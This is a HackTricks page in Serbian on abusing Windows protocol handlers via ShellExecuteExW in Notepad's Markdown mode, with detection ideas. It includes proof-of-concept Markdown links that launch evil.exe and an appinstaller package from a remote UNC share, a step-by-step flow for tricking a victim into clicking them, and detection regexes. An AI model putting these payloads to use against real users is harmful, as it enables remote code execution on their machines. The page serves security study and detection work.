Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Moderne Windows aplikacije koje renderuju Markdown/HTML često pretvaraju linkove koje korisnik dostavi u klikabilne elemente i prosleđuju ih funkciji ShellExecuteExW. Bez stroge liste dozvoljenih šema, bilo koji registrovani protocol handler (npr. file:, ms-appinstaller:) može biti pokrenut, što može dovesti do izvršavanja koda u kontekstu trenutnog korisnika.
Napadna površina ShellExecuteExW u Windows Notepad Markdown režimu
- Notepad bira Markdown režim samo za
.mdekstenzije putem fiksnog string upoređivanja usub_1400ED5D0(). - Podržani Markdown linkovi:
- Standard:
[text](target) - Autolink:
<target>(renderovano kao[target](target)), tako da obe sintakse utiču na payloads i detekcije. - Klikovi na linkove se obrađuju u
sub_140170F60(), koja obavlja slabo filtriranje i zatim pozivaShellExecuteExW. ShellExecuteExWprosleđuje poziv na bilo koji konfigurisani protocol handler, a ne samo HTTP(S).
Razmatranja vezana za payload
- Sve
\\sekvence u linku se normalizuju u\pre pozivaShellExecuteExW, što utiče na kreiranje UNC/putanja i detekciju. - Fajlovi
.mdnisu podrazumevano povezani sa Notepad-om; žrtva mora otvoriti fajl u Notepad-u i kliknuti na link, ali kada se renderuje, link je klikabilan. - Primeri opasnih šema:
file://za pokretanje lokalnog/UNC payload-a.ms-appinstaller://za pokretanje App Installer flow-ova. Druge lokalno registrovane šeme takođe mogu biti zloupotrebljene.
Minimalni PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Tok eksploatacije
- Napravite
.mdfile tako da Notepad renderuje kao Markdown. - Umetnite link koji koristi opasnu URI šemu (
file:,ms-appinstaller:, ili bilo koji instalirani handler). - Dostavite fajl (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB ili slično) i ubedite korisnika da ga otvori u Notepad.
- Na klik, normalizovani link se prosleđuje
ShellExecuteExWi odgovarajući protocol handler izvršava referencirani sadržaj u kontekstu korisnika.
Ideje za detekciju
- Pratite transfer
.mdfajlova preko portova/protokola koji obično prenose dokumente:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Parsirajte Markdown linkove (standardne i autolink) i tražite neosetljivo na velika/mala slova
file:ilims-appinstaller:. - Regex-e koje su preporučili vendor-i za hvatanje pristupa udaljenim resursima:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Prema izveštajima, ponašanje zakrpe navodno dodaje na listu dozvoljenih lokalne fajlove i HTTP(S); sve drugo što dosegne
ShellExecuteExWje sumnjivo. Proširite detekcije na druge instalirane protocol handlers po potrebi, jer attack surface varira po sistemu.
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


